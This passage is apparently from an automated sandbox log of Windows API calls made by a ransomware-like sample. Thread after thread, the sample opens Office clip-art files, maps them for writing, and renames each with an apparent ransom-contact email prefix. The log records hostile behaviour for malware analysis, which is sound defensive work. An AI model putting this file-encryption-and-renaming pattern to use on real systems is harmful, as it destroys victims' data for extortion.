	[0106.936] CreateFileMappingA (hFile=0x1128, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e9, lpName=0x0) returned 0x112c
	[0106.937] MapViewOfFile (hFileMappingObject=0x112c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.938] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.938] CloseHandle (hObject=0x112c) returned 1
	[0106.938] GetCurrentThreadId () returned 0x1edc
	[0106.938] FlushFileBuffers (hFile=0x1128) returned 1
	[0106.940] CloseHandle (hObject=0x1128) returned 1
	[0106.940] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143745.gif") returned 110
	[0106.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143745.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143745.gif")) returned 1
	[0106.941] free (_Block=0x51f3088) 
	[0106.941] RtlExitUserThread (Status=0x0) 

Thread:
	id = 923
	os_tid = 0x1ee0

	[0106.942] _alloca_probe () returned 0x40328a
	[0106.943] GetCurrentThreadId () returned 0x1ee0
	[0106.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.gif", dwFileAttributes=0x80) returned 1
	[0106.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x112c
	[0106.957] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1429) returned 1
	[0106.957] CreateFileMappingA (hFile=0x112c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x599, lpName=0x0) returned 0x1130
	[0106.957] MapViewOfFile (hFileMappingObject=0x1130, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.958] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.958] CloseHandle (hObject=0x1130) returned 1
	[0106.958] GetCurrentThreadId () returned 0x1ee0
	[0106.958] FlushFileBuffers (hFile=0x112c) returned 1
	[0106.960] CloseHandle (hObject=0x112c) returned 1
	[0106.960] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143746.gif") returned 110
	[0106.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143746.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143746.gif")) returned 1
	[0106.961] free (_Block=0x51f60a0) 
	[0106.961] RtlExitUserThread (Status=0x0) 

Thread:
	id = 924
	os_tid = 0x1ee4

	[0106.962] _alloca_probe () returned 0x40328a
	[0106.963] GetCurrentThreadId () returned 0x1ee4
	[0106.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.gif", dwFileAttributes=0x80) returned 1
	[0106.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1130
	[0106.964] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4561) returned 1
	[0106.964] CreateFileMappingA (hFile=0x1130, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11d1, lpName=0x0) returned 0x1134
	[0106.964] MapViewOfFile (hFileMappingObject=0x1134, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.965] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.965] CloseHandle (hObject=0x1134) returned 1
	[0106.966] GetCurrentThreadId () returned 0x1ee4
	[0106.966] FlushFileBuffers (hFile=0x1130) returned 1
	[0106.968] CloseHandle (hObject=0x1130) returned 1
	[0106.968] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143748.gif") returned 110
	[0106.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143748.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143748.gif")) returned 1
	[0106.969] free (_Block=0x51f0070) 
	[0106.969] RtlExitUserThread (Status=0x0) 

Thread:
	id = 925
	os_tid = 0x1ee8

	[0106.969] _alloca_probe () returned 0x40328a
	[0106.970] GetCurrentThreadId () returned 0x1ee8
	[0106.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.gif", dwFileAttributes=0x80) returned 1
	[0106.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1130
	[0106.970] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=4899) returned 1
	[0106.970] CreateFileMappingA (hFile=0x1130, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1325, lpName=0x0) returned 0x1138
	[0106.971] MapViewOfFile (hFileMappingObject=0x1138, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.972] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.972] CloseHandle (hObject=0x1138) returned 1
	[0106.972] GetCurrentThreadId () returned 0x1ee8
	[0106.972] FlushFileBuffers (hFile=0x1130) returned 1
	[0106.975] CloseHandle (hObject=0x1130) returned 1
	[0106.975] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143749.gif") returned 110
	[0106.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143749.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143749.gif")) returned 1
	[0106.976] free (_Block=0x51f5098) 
	[0106.976] RtlExitUserThread (Status=0x0) 

Thread:
	id = 926
	os_tid = 0x1eec

	[0107.040] _alloca_probe () returned 0x40328a
	[0107.041] GetCurrentThreadId () returned 0x1eec
	[0107.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.gif", dwFileAttributes=0x80) returned 1
	[0107.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1138
	[0107.042] GetFileSizeEx (in: hFile=0x1138, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1086) returned 1
	[0107.042] CreateFileMappingA (hFile=0x1138, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44b, lpName=0x0) returned 0x113c
	[0107.042] MapViewOfFile (hFileMappingObject=0x113c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.043] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.043] CloseHandle (hObject=0x113c) returned 1
	[0107.043] GetCurrentThreadId () returned 0x1eec
	[0107.043] FlushFileBuffers (hFile=0x1138) returned 1
	[0107.045] CloseHandle (hObject=0x1138) returned 1
	[0107.046] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143750.gif") returned 110
	[0107.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143750.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143750.gif")) returned 1
	[0107.046] free (_Block=0x51f60a0) 
	[0107.046] RtlExitUserThread (Status=0x0) 

Thread:
	id = 927
	os_tid = 0x1ef0

	[0107.047] _alloca_probe () returned 0x40328a
	[0107.048] GetCurrentThreadId () returned 0x1ef0
	[0107.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.gif", dwFileAttributes=0x80) returned 1
	[0107.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x113c
	[0107.049] GetFileSizeEx (in: hFile=0x113c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1042) returned 1
	[0107.049] CreateFileMappingA (hFile=0x113c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x413, lpName=0x0) returned 0x1140
	[0107.049] MapViewOfFile (hFileMappingObject=0x1140, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.050] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.050] CloseHandle (hObject=0x1140) returned 1
	[0107.050] GetCurrentThreadId () returned 0x1ef0
	[0107.050] FlushFileBuffers (hFile=0x113c) returned 1
	[0107.054] CloseHandle (hObject=0x113c) returned 1
	[0107.054] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143752.gif") returned 110
	[0107.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143752.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143752.gif")) returned 1
	[0107.055] free (_Block=0x51f3088) 
	[0107.055] RtlExitUserThread (Status=0x0) 

Thread:
	id = 928
	os_tid = 0x1ef4

	[0107.056] _alloca_probe () returned 0x40328a
	[0107.056] GetCurrentThreadId () returned 0x1ef4
	[0107.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.gif", dwFileAttributes=0x80) returned 1
	[0107.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1140
	[0107.057] GetFileSizeEx (in: hFile=0x1140, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7039) returned 1
	[0107.057] CreateFileMappingA (hFile=0x1140, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b8d, lpName=0x0) returned 0x1144
	[0107.057] MapViewOfFile (hFileMappingObject=0x1144, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.059] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.060] CloseHandle (hObject=0x1144) returned 1
	[0107.060] GetCurrentThreadId () returned 0x1ef4
	[0107.060] FlushFileBuffers (hFile=0x1140) returned 1
	[0107.066] CloseHandle (hObject=0x1140) returned 1
	[0107.066] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143753.gif") returned 110
	[0107.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143753.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143753.gif")) returned 1
	[0107.067] free (_Block=0x51f5098) 
	[0107.067] RtlExitUserThread (Status=0x0) 

Thread:
	id = 929
	os_tid = 0x1ef8

	[0107.062] _alloca_probe () returned 0x40328a
	[0107.063] GetCurrentThreadId () returned 0x1ef8
	[0107.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.gif", dwFileAttributes=0x80) returned 1
	[0107.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1148
	[0107.063] GetFileSizeEx (in: hFile=0x1148, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1709) returned 1
	[0107.063] CreateFileMappingA (hFile=0x1148, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b9, lpName=0x0) returned 0x114c
	[0107.063] MapViewOfFile (hFileMappingObject=0x114c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.065] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.065] CloseHandle (hObject=0x114c) returned 1
	[0107.065] GetCurrentThreadId () returned 0x1ef8
	[0107.065] FlushFileBuffers (hFile=0x1148) returned 1
	[0107.068] CloseHandle (hObject=0x1148) returned 1
	[0107.069] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143754.gif") returned 110
	[0107.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143754.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143754.gif")) returned 1
	[0107.069] free (_Block=0x51f0070) 
	[0107.069] RtlExitUserThread (Status=0x0) 

Thread:
	id = 930
	os_tid = 0x1efc

	[0107.071] _alloca_probe () returned 0x40328a
	[0107.072] GetCurrentThreadId () returned 0x1efc
	[0107.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.gif", dwFileAttributes=0x80) returned 1
	[0107.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1140
	[0107.072] GetFileSizeEx (in: hFile=0x1140, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1695) returned 1
	[0107.072] CreateFileMappingA (hFile=0x1140, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6ad, lpName=0x0) returned 0x114c
	[0107.072] MapViewOfFile (hFileMappingObject=0x114c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.073] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.073] CloseHandle (hObject=0x114c) returned 1
	[0107.073] GetCurrentThreadId () returned 0x1efc
	[0107.074] FlushFileBuffers (hFile=0x1140) returned 1
	[0107.076] CloseHandle (hObject=0x1140) returned 1
	[0107.076] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143758.gif") returned 110
	[0107.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143758.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143758.gif")) returned 1
	[0107.077] free (_Block=0x51f0070) 
	[0107.077] RtlExitUserThread (Status=0x0) 

Thread:
	id = 931
	os_tid = 0x1f00

	[0107.078] _alloca_probe () returned 0x40328a
	[0107.078] GetCurrentThreadId () returned 0x1f00
	[0107.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.gif", dwFileAttributes=0x80) returned 1
	[0107.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114c
	[0107.079] GetFileSizeEx (in: hFile=0x114c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=4682) returned 1
	[0107.079] CreateFileMappingA (hFile=0x114c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1253, lpName=0x0) returned 0x1150
	[0107.079] MapViewOfFile (hFileMappingObject=0x1150, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.081] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.081] CloseHandle (hObject=0x1150) returned 1
	[0107.081] GetCurrentThreadId () returned 0x1f00
	[0107.081] FlushFileBuffers (hFile=0x114c) returned 1
	[0107.083] CloseHandle (hObject=0x114c) returned 1
	[0107.083] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00516L.gif") returned 110
	[0107.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00516L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb00516l.gif")) returned 1
	[0107.090] free (_Block=0x51f80b0) 
	[0107.090] RtlExitUserThread (Status=0x0) 

Thread:
	id = 932
	os_tid = 0x1f04

	[0107.085] _alloca_probe () returned 0x40328a
	[0107.085] GetCurrentThreadId () returned 0x1f04
	[0107.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.gif", dwFileAttributes=0x80) returned 1
	[0107.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1154
	[0107.089] GetFileSizeEx (in: hFile=0x1154, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8215) returned 1
	[0107.089] CreateFileMappingA (hFile=0x1154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x201d, lpName=0x0) returned 0x114c
	[0107.090] MapViewOfFile (hFileMappingObject=0x114c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.092] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.093] CloseHandle (hObject=0x114c) returned 1
	[0107.093] GetCurrentThreadId () returned 0x1f04
	[0107.093] FlushFileBuffers (hFile=0x1154) returned 1
	[0107.096] CloseHandle (hObject=0x1154) returned 1
	[0107.096] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00531L.gif") returned 110
	[0107.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00531L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb00531l.gif")) returned 1
	[0107.097] free (_Block=0x51f0070) 
	[0107.097] RtlExitUserThread (Status=0x0) 

Thread:
	id = 933
	os_tid = 0x1f08

	[0107.098] _alloca_probe () returned 0x40328a
	[0107.098] GetCurrentThreadId () returned 0x1f08
	[0107.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.gif", dwFileAttributes=0x80) returned 1
	[0107.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114c
	[0107.099] GetFileSizeEx (in: hFile=0x114c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=8430) returned 1
	[0107.099] CreateFileMappingA (hFile=0x114c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20fb, lpName=0x0) returned 0x1158
	[0107.099] MapViewOfFile (hFileMappingObject=0x1158, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.101] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.101] CloseHandle (hObject=0x1158) returned 1
	[0107.101] GetCurrentThreadId () returned 0x1f08
	[0107.101] FlushFileBuffers (hFile=0x114c) returned 1
	[0107.105] CloseHandle (hObject=0x114c) returned 1
	[0107.105] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00673L.gif") returned 110
	[0107.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00673L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb00673l.gif")) returned 1
	[0107.107] free (_Block=0x51f5098) 
	[0107.107] RtlExitUserThread (Status=0x0) 

Thread:
	id = 934
	os_tid = 0x1f0c

	[0107.104] _alloca_probe () returned 0x40328a
	[0107.104] GetCurrentThreadId () returned 0x1f0c
	[0107.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.gif", dwFileAttributes=0x80) returned 1
	[0107.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x115c
	[0107.106] GetFileSizeEx (in: hFile=0x115c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8230) returned 1
